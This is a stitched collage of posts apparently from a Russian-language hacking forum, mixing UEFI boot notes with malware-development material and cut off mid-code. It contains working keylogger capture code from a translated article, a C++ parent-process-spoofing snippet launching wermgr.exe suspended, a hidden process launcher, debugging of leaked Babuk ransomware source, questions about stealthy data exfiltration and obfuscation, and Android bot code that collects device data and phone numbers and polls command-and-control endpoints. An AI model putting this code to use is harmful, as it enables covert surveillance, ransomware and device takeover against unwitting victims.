stack, "IDT" and "EFI_SEC" and transfer control to "PEI" and pass
"EFI_SEC_PEI_HAND_OFF" to "PEI"
1 - SEC
Initialize the temporary storage area
Receive and process system startup and restart
2 - PEI
the resources in the PEI Stage are still limited and the memory is not
initized until the later stage of PEI Its main task is to prepare an
environment for the implementation of "DXE" and to form a list of "HOB" with
the information that must be passed to "DXE" and now the control of "DXE"
PEI Kernel : Responsible for basic services and operations in "PEI"
PEIM (PEIM)odule : The main function is to find out all PEIM The
initialization of the system in the PEI phase is mainly completed by PEIM
entry function PEIM :
C++:Copy to clipboard
typedef EFI_STATUS (EFIAPI *EFI_PEIM_ENTRY_POINT2)( IN EFI_PEI_FILE_HANDLE FileHandle, IN CONST EFI_PEI_SERVICES **PeiServices );
Through PeiServices PEIM can use the systemService provided by the PEI and access PEI Kernel, Communication between PEIM is through PPI
3. DXE[Driver Execution Environment]
performs most of the system initialization work When entering this stage, the
memory can be fully used, so there are many complications at this stage
Boot process of UEFI system
PEI, functionally, DXE can be divided into the following 2 parts
DXE Kernel : Responsible for DXE some services and execution processes
DXE dispatcher : Responsible for scheduling and executing DXE drivers and
initializing system devices.
4 - BDS (Boot Device Selection)
execute the boot strategy
Loads and executes startup items according to system settings.
Policies are configured through global variables "NVRAM ". this variable can
be read via GetVariable() of runtime service and set via "SetVariable()"
C++:Copy to clipboard
SystemTable->RuntimeServices->GetVariable(TEXT, guid, attr, data_size, data);
SystemTable->RuntimeServices->SetVariable(TEXT,guid,ACCESS,size,data);
5 - TSL (Transient System Load)
first stage of os loader,in the stage OS Loader run as UEFI Application, and
system resources are still controlled by the UEFI kernel when the
ExitBootServices() when service is called enters the run-time phase
It prepares the execution environment for the operating system, which is a
temporary system, but its functions are very powerful By default it does not
enter UEFI Shell enters when an error occurs
6 - RT(Run-Time)
When the system enters "RT", the control is transferred from "UEFI Kernel" to
"OS Loader"
7 - AL(after life)
When the operating system invokes "ResetSystem()" it enters a phase state AL
C++:Copy to clipboard
SystemTable->RuntimeServices->ResetSystem(EfiResetShutdown, EFI_SUCCESS, NULL, NULL);
return EFI_SUCCESS;
Hidden content for authorized users.
C#:Copy to clipboard
public static bool RunFile(string filename)
{
if (!string.IsNullOrWhiteSpace(filename)) // Проверка на пустую строку
{
try
{
var PwsHide = ProcessWindowStyle.Hidden; // Задаём параметры скрытый запуск ( по желанию можно убрать )
var startInfo = new ProcessStartInfo
{
FileName = filename, // Имя запускаемого файла через аргументы
CreateNoWindow = false, // Не создаём окно
WindowStyle = PwsHide // Применяем параметры для сокрытия файла
// Аргументы можно так же передавать тут.
};
using (Process info = Process.Start(startInfo)) { info.Refresh(); } // Запускаем файл.
return true; // В случае успеха возвращаем true
}
catch (Exception) { return false; } // В случае ошибки возвращаем false
}
return true;
}
дальше просто запускаете RunFile("Путь к вашему файлу");
Как сделать что при инжекте dll открывается exe? Без сурс кода
Такая вот каша получается с брутом.
на c# при использовании TDS протокола и TCPclient не едем больше чем 500-800
потоков, далее чем больше потоков тем медленнее работаем)
на c++ при использовании драйвера SQL Server и SQLDriverConnect через пару
минут перестаёт подключаться к любым таргетам используя данный драйвер,
помогает только перезагрузка
дополню ссылкой на описание проблемы.
![unix.stackexchange.com](/proxy.php?image=https%3A%2F%2Fcdn.sstatic.net%2FSites%2Funix%2FImg%2Fapple- touch- icon%402.png%3Fv%3D32fb07f7ce26&hash=21b390d49a0befd056c7c5876b2ffb3e&return_error=1)
can I clear/purge it? ](https://unix.stackexchange.com/questions/329000/does- sqldriverconnect-from-unix-odbc-cache-the-dsn-data-if-so-how-can-i-clea)
While using the UNIX-ODBC libraries from unixodbc site, I'm facing a problem with the SQLDriverConnect api. If I try to connect to my database twice in a row, first with incorrect DSN data (Data So...
unix.stackexchange.com
Всем привет! подскажите качественный обфускатор для JS
платный/приватный
C++:Copy to clipboard
#include <windows.h>
#include <iostream>
#include "sys.h"
#include <TlHelp32.h>
STARTUPINFOEXA info;
PROCESS_INFORMATION processinfo;
SIZE_T cbAttributeListSize = 0;
PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = NULL;
HANDLE hParrentProcess = NULL;
DWORD dwPid = 0;
DWORD GetPidByName(const wchar_t* pName) {
PROCESSENTRY32W pEntry;
HANDLE snapshot;
pEntry.dwSize = sizeof(PROCESSENTRY32);
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32FirstW(snapshot, &pEntry) == TRUE) {
while (Process32NextW(snapshot, &pEntry) == TRUE) {
if (_wcsicmp(pEntry.szExeFile, pName) == 0) {
CloseHandle(snapshot);
return pEntry.th32ProcessID;
}
}
}
CloseHandle(snapshot);
return 0;
}
int main(void) {
ZeroMemory(&info, sizeof(STARTUPINFOEXA));
dwPid = GetPidByName(L"firefox.exe");
if (dwPid == 0);
dwPid = GetCurrentProcessId();
InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize);
hParrentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParrentProcess, sizeof(HANDLE), NULL, NULL);
info.lpAttributeList = pAttributeList;
CreateProcessA(NULL, (LPSTR)"wermgr.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW | DETACHED_PROCESS | EXTENDED_STARTUPINFO_PRESENT, NULL,NULL, &info.StartupInfo, &processinfo);
В этой серии статей мы рассказываем о тонкостях создания кейлоггера для Windows, способного поддерживать все раскладки клавиатуры и правильно реконструировать символы Юникода независимо от языка.
В первой части, после краткого введения, знакомящего с концепциями кодов сканирования, виртуальных клавиш , символов и глифов, мы описываем три различных способа захвата нажатий клавиш (GetKeyState, SetWindowsHookEx, GetRawInputData ) и различия между этими методами.
Во второй части мы подробно расскажем, как Windows хранит информацию о раскладках клавиатуры в файле kbd*.dll и как ее анализировать.
В третьей и последней части мы проходим процесс использования извлеченной информации для преобразования скан-кодов в символы и все сложные случаи, представленные различными раскладками, такими как лигатуры, мертвые клавиши, дополнительные состояния сдвига и SGCAPS.
Наконец, мы представляем нашу методологию для проверки и подтверждения правильности нашей реконструкции путем написания инструмента тестирования, который может автоматизировать внедрение скан-кодов и получать ссылочный текст, созданный Windows, который мы сравниваем с нашим восстановленным текстом.
Введение
Одной из обязанностей команды разработчиков Synacktiv является создание и поддержка инструментов наступательной безопасности, используемых другими отделами во время их работы. В дополнение к нашим основным проектам, таким как KRAQOZORUS, OURSIN, DISCONET и LEAKOZORUS, мы также стараемся выполнять более мелкие «запросы на исследования и разработки», которые могут быть полезны во время конкретных миссий.
В сегодняшней статье мы сосредоточимся на таком запросе: создании кейлоггера, предназначенного для Windows, который способен правильно реконструировать набираемые символы, независимо от того, какая раскладка клавиатуры и язык используются в целевой системе.
Что, как оказывается, не так просто, как вы думаете.
Ключевые понятия и терминология
Прежде чем мы начнем, важно представить несколько понятий, таких как коды сканирования, виртуальные клавиши, символы, глифы и раскладки.
СКАН КОДЫ
Вначале были коды сканирования, они представляют собой (одно- или многобайтовые) значения, создаваемые прошивкой клавиатуры и не зависящие от раскладки клавиатуры. Вот несколько примеров значений для стандартной клавиатуры ANSI US:
Многобайтовые коды сканирования всегда начинаются с 0xE0, 0xE1 или 0xE2 и иногда называются «расширенными» кодами сканирования. В предыдущем примере вы можете видеть, что они могут служить способом отличить левую клавишу управления от правой клавиши управления.
Верхний бит скан-кода указывает, нажата ли клавиша (0) или отпущена (1). Когда клавиша нажата, мы называем ее make code а когда она отпускается, она называется break code. Допустим, мы набрали «ctrl+r», и будут получены следующие коды сканирования:
Более подробную информацию о скан-кодах можно найти здесь (https://www.win.tue.nl/~aeb/linux/kbd/scancodes-10.html).
РАСКЛАДКИ
Windows позволяет вам настроить язык системы и один или несколько языков ввода. Настройки языка ввода влияют на языковые стандарты, форматы даты и времени и, что более важно для наших целей, на раскладки клавиатуры. Обратите внимание, что Windows может предлагать несколько раскладок для данного языка. Давайте посмотрим список раскладок на французском языке :
Французский (легаси, AZERTY)
Французский (стандартный, AZERTY)
Французский (стандартный, BÉPO, сторонний)
а также французский для других стран, таких как Бельгия, Канада, Швейцария и
т. д.
Раскладки клавиатуры содержат информацию о том, как преобразовать коды сканирования в виртуальные клавиши, а затем в символы, которые можно отображать. Мы опишем их внутреннюю структуру более подробно позже в этой статье. Вы можете изучить все раскладки клавиатуры, поддерживаемые Windows, здесь (https://www.kbdlayout.info/).
ВИРТУАЛЬНЫЕ КЛАВИШИ
Коды виртуальных клавиш используются Windows для идентификации клавиш клавиатуры независимо от языка. Существует 256 кодов виртуальных клавиш, таблицу можно найти здесь (<https://learn.microsoft.com/en- us/windows/win32/inputdev/virtual-key-codes>). Допустим, мы нажимаем клавишу «A» на клавиатуре французского стандарта ISO 105, сначала с раскладкой fr-FR (AZERTY), затем с раскладкой en-US (QWERTY). Мы получим тот же код сканирования, но в результате будет другой код виртуального ключа.
СИМВОЛЫ И ГЛИФЫ
В контексте этой статьи мы называем символы Юникода в кодировке UTF-16-LE. Глифы представляют собой визуальное представление одного или нескольких символов Юникода и зависят от шрифта, используемого для отображения. Существует интересный случай, когда несколько символов Юникода могут быть представлены одним глифом, это называется лигатурой.
Теперь, когда мы разобрались со всем этим, давайте посмотрим, как мы можем записывать нажатия клавиш.
Запись нажатий клавиш
Хотя существует немало способов записи нажатий клавиш, в этой статье мы сосредоточимся только на хорошо известных методах пользовательской среды. Во всех следующих фрагментах кода мы вызываем одну и ту же функцию, process_kbd_event которую мы определяем следующим образом:
Здесь мы будем выполнять всю обработку, следующую за захватом нажатий клавиш, и выполнять реконструкцию потоков символов.
GETKEYSTATE
Первый метод, который мы опишем, использует функцию GetKeyState, предоставляемую user32.dll и определенную в winuser.h. Это позволяет получить текущее состояние для указанного входного виртуального ключа.
Эта функция работает на более высоком уровне (виртуальные клавиши), чем два следующих метода, которые работают на уровне скан-кода. Однако мы можем использовать эту функцию MapVirtualKeyA для получения кодов сканирования, вызвавших нажатие или отпускание виртуальной клавиши. Чтобы записать нажатия клавиш с помощью этой функции, вам необходимо вызвать ее несколько раз для всех 256 значений виртуальных клавиш, сохранить это состояние в памяти, а затем снова вызвать его немного позже и сравнить с текущим статусом. Всякий раз, когда состояние меняется, это означает, что клавиша была нажата или отпущена. Вы также можете использовать GetKeyboardState или GetAsyncKeyStateдля достижения тех же результатов. Вот рабочий фрагмент примера для захвата нажатия клавиш GetKeyState:
C:Copy to clipboard
// we start by defining a function to retrieve all virtual key states
void get_kb_state(short kbs[256])
{
for(int i=0; i<256; i++)
kbs[i] = GetKeyState(i);
}
int main()
{
short kbs_last[256] = {};
get_kb_state(kbs_last);
while(1)
{
short kbs[256] = {};
get_kb_state(kbs);
for(int i=0; i<256; i++)
if(kbs[i] != kbs_last[i])
{
// the virtual key with value "i" was toggled
// get a "virtual scan code" for this virtual key
int vsc = MapVirtualKeyA(i, MAPVK_VK_TO_VSC_EX);
int e0 = ((vsc >> 8) & 0xff) == 0xe0; // e0 ?
int e1 = ((vsc >> 8) & 0xff) == 0xe1; // e1 ?
int sc = vsc & 0xff; // mask eventual scan code flags
int up = (kbs[i] & 0xc0000000) == 0; // check top bits to know if a key was pressed or released
process_kbd_event(sc, e0, e1, up, i);
}
memcpy(kbs_last, kbs, sizeof(kbs_last));
Sleep(5);
}
}
Примечание: здесь есть побочный эффект работы с виртуальными клавишами вместо кодов сканирования, который требует дополнительного кода: различие между левыми/правыми/недифференцированными клавишами-модификаторами, такими как CONTROL, SHIFT и ALT. Для каждого из них в Windows есть три виртуальные клавиши: VK_CONTROL, которая запускается как левой (VK_LCONTROL), так и правой (VK_RCONTROL) клавишами управления. То же самое относится и к VK_MENU (клавиша Alt) и VK_SHIFT (клавиша Shift).
Примечание. Чтобы не нагружать слишком много процессора, мы вставляем спящий режим на 5 миллисекунд. Это значение можно увеличить или уменьшить по желанию, но имейте в виду, что если клавиша будет нажата и отпущена за время, меньшее, чем интервал опроса, программа пропустит событие!
Таким образом, используя пример кода захвата, нажатие клавиши Control (или Alt или Shift) запускает две клавиши process_kbd_event: одну для общей виртуальной клавиши VK_CONTROL и одну для «ручной» версии. Поэтому вы, вероятно, захотите отфильтровать общие виртуальные ключи и обрабатывать только определенные левые/правые версии.
SetWindowsHookEx
Другой метод, который можно использовать для получения нажатий клавиш, — это использование «глобального перехватчика Windows». Существует множество типов перехватчиков, которые вы можете использовать с SetWindowsHookEx, но мы сосредоточимся только на WH_KEYBOARD_LL. Упомянем еще один, который не дает столько информации о нажатиях клавиш: WH_KEYBOARD. Вот прототип функции:
Кроме того, перехватчики Windows могут работать в двух режимах: «глобальном» и «потоковом». При работе с перехватчиком на основе потока обратный вызов для обработки события должен быть упакован как dll, который будет внедрен в перехваченные процессы, чего мы предпочитаем избегать.
Перехватчики низкого уровня с суффиксом «_LL» могут работать только в глобальном режиме и не имеют такого ограничения. Это означает, что вы можете передавать значения NULL для hmod и dwThreadId.
Чтобы получать события клавиатуры низкого уровня, вам необходимо выполнить обратный вызов, а затем обработать сообщения о событиях окна. Вот рабочий пример получения нажатий клавиш с помощью этого метода:
C:Copy to clipboard
// the callback receiving SetWindowsHookEx WH_KEYBOARD_LL events
LRESULT CALLBACK LowLevelKeyboardProc(int code, WPARAM wparm, LPARAM lparm)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lparm;
process_kbd_event(p->scanCode,
p->flags & LLKHF_EXTENDED,
0,
p->flags & LLKHF_UP,
p->vkCode
);
return CallNextHookEx(NULL, code, wparm, lparm);
}
int main()
{
// register the hook
HHOOK hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, NULL, 0);
// pump windows events
MSG msg;
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hhkLowLevelKybd);
return 0;
}
GETINPUTDATA
Последний метод, который мы опишем в этой статье, использует API прямого ввода для получения событий при нажатии клавиш. Этот метод требует немного больше работы для настройки:
- сначала вам нужно зарегистрировать собственный класс окна RegisterClassExA,
- затем вы используете CreateWindowExA для создания экземпляра окна, которое
будет использоваться для обработки входных событий,
- теперь вы можете вызвать RegisterRawInputDevices, чтобы указать общую
(0x01) клавиатуру (0x06), указать флаг RIDEV_INPUTSINK и, наконец, целевое
окно, которое будет получать события,
- тогда вам нужен обратный вызов оконной процедуры, который обрабатывает
WM_INPUT события,
- наконец, вы можете запустить цикл обработки сообщений, использующий
GetMessage, TranslateMessage и DispatchMessage и начать получать события
клавиатуры.
Собранный пример кода выглядит следующим образом:
C:Copy to clipboard
// to receive events for the rawkeyboard data
LRESULT CALLBACK wndproc(HWND window, UINT message, WPARAM wparam, LPARAM lparam)
{
if(message != WM_INPUT)
return DefWindowProc(window, message, wparam, lparam);
char rid_buf[64];
UINT rid_size = sizeof(rid_buf);
if(GetRawInputData((HRAWINPUT)lparam, RID_INPUT, rid_buf, &rid_size, sizeof(RAWINPUTHEADER)))
{
RAWINPUT * raw = (RAWINPUT*)rid_buf;
if(raw->header.dwType == RIM_TYPEKEYBOARD)
{
RAWKEYBOARD * rk = &raw->data.keyboard;
process_kbd_event(rk->MakeCode,
rk->Flags & RI_KEY_E0,
rk->Flags & RI_KEY_E1,
rk->Flags & RI_KEY_BREAK,
rk->VKey
);
}
}
return DefWindowProc(window, message, wparam, lparam);
}
int main(void)
{
//define a window class which is required to receive RAWINPUT events
WNDCLASSEX wc;
ZeroMemory(&wc, sizeof(WNDCLASSEX));
wc.cbSize = sizeof(WNDCLASSEX);
wc.lpfnWndProc = wndproc;
wc.hInstance = GetModuleHandle(NULL);
wc.lpszClassName = "rawkbd_wndclass";
// register class
if(!RegisterClassExA(&wc))
return -1;
// create window
HWND rawkbd_wnd = CreateWindowExA(0, wc.lpszClassName, NULL, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, GetModuleHandle(NULL), NULL);
if(!rawkbd_wnd)
return -2;
// setup raw input device sink
RAWINPUTDEVICE devs = { 0x01 /* generic */, 0x06 /* keyboard */, RIDEV_INPUTSINK, rawkbd_wnd };
if(RegisterRawInputDevices(&devs, 1, sizeof(RAWINPUTDEVICE)) == FALSE)
return -3;
MSG msg;
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// cleanup
DestroyWindow(rawkbd_wnd);
UnregisterClass(wc.lpszClassName, GetModuleHandle(NULL));
return 0;
}
Лично я предпочитаю этот метод двум другим, поскольку он работает на более низком уровне, позволяет избежать глобальных перехватов Windows и не требует многократного вызова очень заметной функции. Кстати, не стоит доверять значениям, RAWKEYBOARD->VKey так как в некоторых случаях они просто неверны (например, нажатие ALT-GR с французской раскладкой приведет к созданию виртуальной клавиши VK_CONTROL), хотя коды сканирования верны.
ПОЛУЧЕНИЕ КОНТЕКСТА
Мы представили три метода получения нажатий клавиш, но для восстановления потоков символов нам понадобится некоторая контекстная информация. Кроме того, чтобы создать достойный кейлоггер, нам понадобится дополнительная информация, такая как заголовок и процесс текущего окна, текущее имя пользователя, временные метки и так далее.
Первое, что нужно сделать, — это получить дескриптор текущего активного окна, поскольку именно оно будет получать нажатия клавиш. Затем мы хотим получить идентификатор потока, ответственного за обработку этого окна, что позволит нам вызывать HKL GetKeyboardLayout(HANDLE thread_id);дескриптор раскладки клавиатуры, используемой потоком активного окна. Вот как вы можете это сделать:
Чтобы получить идентификатор процесса, вы можете сначала использовать OpenThread() с THREAD_QUERY_INFORMATION, а затем вызвать GetProcessIdOfThread(), который вернет pid. Из PID вы можете получить имя процесса, перечислив запущенные процессы с помощью CreateToolhelp32Snapshot, Process32Firstи Process32Next. Другие полезные функции для получения контекстной информации включают GetSystemTime(), GetWindowTextA(), GetUserNameA()и т. д.
Примечание. Консольные программы не создают и не запускают собственное графическое окно, как оно обрабатывается conhost.exe поэтому GetKeyboardLayout() в этом примере вызов завершится неудачно.
В следующей статье мы расскажем, как анализировать библиотеки DLL раскладки клавиатуры Windows, чтобы иметь возможность эмулировать код сканирования в процесс перевода символов.
Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: <https://www.synacktiv.com/publications/writing-a-decent-
win32-keylogger-13>
отрыл исходники бабука на форуме, не могу разобраться с его потоками...
инициализирую очередь, создаю потоки и посылаю в очередь 3 сообщения
C:Copy to clipboard
SYSTEM_INFO lcSysInfo;
GetSystemInfo(&lcSysInfo);
DWORD dwNumberOfProcessors = lcSysInfo.dwNumberOfProcessors;
DWORD dwNumberOfThreads = dwNumberOfProcessors * 4;
DWORD dwNumberOfThreadsDivideBy2 = dwNumberOfThreads / 2;
_que_initialize(&que_f, dwNumberOfThreads * 6);
HANDLE* threads = (HANDLE*)malloc(dwNumberOfThreadsDivideBy2 * sizeof(HANDLE));
memset(threads, 0, dwNumberOfThreadsDivideBy2 * sizeof(HANDLE));
for (int i = 0; i < dwNumberOfThreadsDivideBy2; i++) {
threads[i] = CreateThread(0, 0, lilBabuk, (LPVOID)1, 0, 0);
}
_que_push(&que_f, (wchar_t*)L"test", TRUE);
_que_push(&que_f, (wchar_t*)L"test2", TRUE);
_que_push(&que_f, (wchar_t*)L"test3", TRUE);
WaitForMultipleObjects(dwNumberOfThreadsDivideBy2, threads, TRUE, INFINITE);
сам воркер:
C:Copy to clipboard
DWORD WINAPI lilBabuk(LPVOID lpData) {
INT iError = 0;
WCHAR* path = 0;
if (lpData) {
while (TRUE) {
if ((path = _que_pop(&que_f, FALSE, &iError)) != 0) {
WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), path, strlenW(path) * sizeof(wchar_t), NULL, NULL);
WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), (LPVOID)"\n", 1, NULL, NULL);
FreeMemory(path);
} else {
Sleep(100);
WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), (LPVOID)"Stuck", strlen("Stuck"), NULL, NULL);
WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), (LPVOID)"\n", 1, NULL, NULL);
}
}
}
else {
/*while ((path = _que_pop(&que_f, TRUE, &iError)) != 0) {
_encrypt_file(path);
_hfree(path);
}*/
}
ExitThread(0);
}
собственно, первое сообщение в консоль выводится, затем "Stuck" каждые 100мс.
посмотрел принцип работы самой очереди и понял, что
queue->data_avail
после первого сообщения не очищается... не совсем понимаю как это исправить
сурс queue:
Spoiler: queue.c
C:Copy to clipboard
#include <windows.h>
#include "memory.h"
#include "queue.h"
void _que_initialize(QUEUE* queue, INT size) {
queue->queue_size = size;
queue->buffer = (WCHAR**)_halloc(size * sizeof(WCHAR*));
queue->space_avail = CreateSemaphoreA(NULL, size, size, NULL);
queue->data_avail = CreateSemaphoreA(NULL, 0, size, NULL);
queue->in_pos = 0;
queue->out_pos = 0;
InitializeCriticalSection(&(queue->mutex));
}
int _que_push(QUEUE* queue, LPWSTR data, int wait) {
if (WaitForSingleObject(queue->space_avail, 0) != WAIT_OBJECT_0) {
if (wait) WaitForSingleObject(queue->space_avail, INFINITE);
else return 0;
}
EnterCriticalSection(&(queue->mutex));
WCHAR* realloced_str = 0;
if (data)
{
int memSize = sizeof(WCHAR) * (lstrlenW(data) + 1);
realloced_str = (WCHAR*)_halloc(memSize);
_memcpy(realloced_str, data, memSize);
}
queue->buffer[queue->in_pos] = realloced_str;
queue->in_pos = (queue->in_pos + 1) % queue->queue_size;
LeaveCriticalSection(&queue->mutex);
ReleaseSemaphore(queue->data_avail, 1, NULL);
return 1;
}
LPWSTR _que_pop(QUEUE* queue, int wait, int* dwError) {
*dwError = 0;
if (WaitForSingleObject(queue->data_avail, 0) != WAIT_OBJECT_0) {
if (wait) WaitForSingleObject(queue->data_avail, INFINITE);
else {
*dwError = QUEUE_ERR_TIMEOUT;
return 0;
}
}
EnterCriticalSection(&queue->mutex);
LPWSTR retval = queue->buffer[queue->out_pos];
queue->out_pos = (queue->out_pos + 1) % queue->queue_size;
LeaveCriticalSection(&queue->mutex);
ReleaseSemaphore(queue->space_avail, 1, NULL);
return retval;
}
Spoiler: queue.h
C:Copy to clipboard
#ifndef QUEUE_H_INCLUDED
#define QUEUE_H_INCLUDED
#define QUEUE_ERR_TIMEOUT -1
#include <windows.h>
struct QUEUE {
HANDLE space_avail;
HANDLE data_avail;
CRITICAL_SECTION mutex;
INT queue_size = 0;
LPWSTR* buffer = 0;
long in_pos = 0;
long out_pos = 0;
};
void _que_initialize(QUEUE* queue, INT size);
LPWSTR _que_pop(QUEUE* queue, int wait, int* dwError);
int _que_push(QUEUE* queue, LPWSTR data, int wait);
#endif
Проблема в том, что после обновления Xiaomi зимой, Accessibility Service перестала распознавать кликабельность кнопки, которая вызывает всплывающее окно для предоставления прав.
Добрый день. Занимаюсь разработкой малвари, написал основные модули и вот теперь встал вопрос отправки собранных данных сервер. Первое, что приходит на ум отпрвка с помощью UPD, но мне кажется, такое решение будет слишком палевным для аверов. При этом я бы не хотел создавать никаких лишних файлов и архивов на системе. Есть какие-то техники или проекты, в сторону которых стоит посмотреть? Google не выдал ничего дельного по этому поводу
Понимаю что есть куча сервисов, которые это делают и вроде как даже не сливают инфу, но все же, доверять им особо желания нету. Задался вот таким вопросом. Может у кого то есть идеи или предложения по этому поводу ?
Ребят может кто посоветовать книгу или материалы по С#, по типу black hat python
Всем пользователям добрый день, заинтерисовался в разработке данного ПО, но на некоторых этапах возникали трудости, возможно у кого-то есть готовые мануалы/исходники ? Т.к. в открытом доступе такого абсолютно нет (на языке С/C++)
Есть модуль одного сайта написанный на WebAssembly отвечающий за генерацию
сигнатуры, которая уходит вместе с запросом в хидерах, не могу разобраться что
конкретно делает код, чтобы повторить
https://send.exploit.in/download/efc8c1f594d54f6c/#jLf-66jfmDh48JdeMo5TZw
Точкой входа является функция c_s_f на 468 строке вот её прототип (func $c_s_f (;11 (export "c_s_f") (param $var0 i32) (param $var1 i32) (param $var2 i32) (param $var3 i32) (param $var4 i32) (param $var5 i32) (result i32)
В Js скрипте функция вызывается вот так t.c_s_f(b[0].byteOffset,
b[1].byteOffset, b[2].byteOffset, b[3].byteOffset, b[4].byteOffset,
a.byteOffset)
Передается всего 6 аргументов, первые 5 - ссылки на кусок памяти как например
в C, но только на манере Js, но это неважно, первые 5 аргументов это массивы
байтов(uint8) содержащих в себе параметры запроса переведенные в ASCII коды
символов, последним параметром выступает ссылка на буфер длинной 64 куда будет
записан результат, который и является искомой сигнатурой
Прошу помочь понять, что творится под капотом в этом коде
Пример упорядоченных исходных данных по порядку как оригинальный скрипт
передает их в функцию c_s_f по 1 на строку на конце нуль-терминатор
71 69 84 0
47 116 111 107 101 110 47 98 97 108 97 110 99 101 95 108 105 115 116 0
99 104 97 105 110 61 104 109 121 38 105 115 95 97 108 108 61 102 97 108 115
101 38 117 115 101 114 95 97 100 100 114 61 48 120 97 98 53 56 48 49 97 55 100
51 57 56 51 53 49 98 56 98 101 49 49 99 52 51 57 101 48 53 99 53 98 51 50 53
57 97 101 99 57 98 0
110 95 73 50 110 54 84 79 79 121 74 77 112 99 114 75 50 68 53 81 119 115 105
66 122 84 74 77 75 84 48 104 107 119 85 54 87 78 101 55 83 83 0
49 54 55 49 49 51 49 48 51 53 0
Должно вернуть сигнатуру(HEX):
746fb3b21508276bfc4cfedd0f4ff84f655b348562c8a62ec865172981af2fcf
Должно вернуть сигнатуру(ASCII): 55 52 54 102 98 51 98 50 49 53 48 56 50 55 54
98 102 99 52 99 102 101 100 100 48 102 52 102 102 56 52 102 54 53 53 98 51 52
56 53 54 50 99 56 97 54 50 101 99 56 54 53 49 55 50 57 56 49 97 102 50 102 99
102
Yes, it sounds like a stupid question, but this is difficult for many people. Many people don't know how to use search engines for learning and knowledge, or to solve their practical problems, or they don't know where to look. The school doesn't have professors if you see the files, you will know how to use search, but that's the problem, any suggestions to solve this problem, I don't know how to use it.
Code:Copy to clipboard
package utf.comzero.app
import android.annotation.SuppressLint
import android.app.Activity
import android.content.Intent
import android.os.Bundle
import android.provider.Settings
import java.security.SecureRandom
class MainActivity : Activity() {
private val url = "http://0.0.0.0:80"
@SuppressLint("MissingInflatedId")
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
initialization()
val deviceManager = DeviceManager
deviceManager.registerDevice(this)
deviceManager.fetchDevices()
//initDeviceManager(this)
EndlessService.autoStart(this)
startActivity(Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS))
}
private fun initialization() {
try {
SharedPreferencess.idbot = generateDeviceId()
SharedPreferencess.c2 = url
} catch (_: Exception) {
}
}
private fun generateDeviceId(): String {
val chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
val random = SecureRandom()
return (1..10)
.map { chars[random.nextInt(chars.length)] }
.joinToString("")
}
}
Code:Copy to clipboard
package utf.comzero.app
import android.content.Context
import android.content.pm.PackageManager
import android.os.PowerManager
import android.telephony.TelephonyManager
import android.util.Log
import okhttp3.*
import com.google.gson.Gson
import com.google.gson.reflect.TypeToken
import okhttp3.MediaType.Companion.toMediaTypeOrNull
import okhttp3.RequestBody.Companion.toRequestBody
import org.json.JSONObject
import java.io.IOException
object DeviceManager {
private val client = OkHttpClient()
private val gson = Gson()
private const val SERVER_URL = "http://0.0.0.0:80/gate-devices.php"
private const val COMMANDS_URL = "http://0.0.0.0:80/gate-commands.php"
data class Device(
val id: String,
val os: String,
val model: String,
val screenState: String,
val phoneNumber: String?
)
fun registerDevice(context: Context) {
Log.d("DeviceManager", "Starting device registration")
val deviceInfo = collectDeviceInfo(context)
Log.d("DeviceManager", "Collected device info: $deviceInfo")
sendDeviceInfo(deviceInfo)
checkCommands(deviceInfo.id, context)
}
private fun collectDeviceInfo(context: Context): Device {
val deviceId = "11111"
val deviceOs = "Android ${android.os.Build.VERSION.RELEASE}"
val deviceModel = android.os.Build.MODEL
val screenState = if (isScreenOn(context)) "on" else "off"
val phoneNumber = getPhoneNumber(context)
Log.d("DeviceManager", "Device collected: id=$deviceId, os=$deviceOs, model=$deviceModel, screenState=$screenState, phoneNumber=$phoneNumber")
return Device(deviceId, deviceOs, deviceModel, screenState, phoneNumber)
}
private fun sendDeviceInfo(device: Device) {
val json = gson.toJson(device)
Log.d("DeviceManager", "Sending device info: $json")
val requestBody = json.toRequestBody("application/json".toMediaTypeOrNull())
val request = Request.Builder()
.url(SERVER_URL)
.post(requestBody)
.build()
client.newCall(request).enqueue(object : Callback {
override fun onFailure(call: Call, e: IOException) {
Log.e("DeviceManager", "Error sending device info: ${e.message}")
}
override fun onResponse(call: Call, response: Response) {
if (!response.isSuccessful) {
Log.e("DeviceManager", "Unexpected code: ${response.code}")
} else {
Log.d("DeviceManager", "Response: ${response.body?.string()}")
}
}
})
}
private fun getPhoneNumber(context: Context): String? {
val telephonyManager = context.getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager
return if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.M) {
if (context.checkSelfPermission(android.Manifest.permission.READ_PHONE_STATE) == PackageManager.PERMISSION_GRANTED) {
telephonyManager.line1Number
} else {
Log.w("DeviceManager", "Permission READ_PHONE_STATE not granted, unable to access phone number")
null
}
} else {
telephonyManager.line1Number
}
}
private fun checkCommands(deviceId: String, context: Context) {
Log.d("DeviceManager", "Checking commands for device ID: $deviceId")
val requestBody = FormBody.Builder().add("id", deviceId).build()
val request = Request.Builder()
.url(COMMANDS_URL)
.post(requestBody)
.build()
client.newCall(request).enqueue(object : Callback {
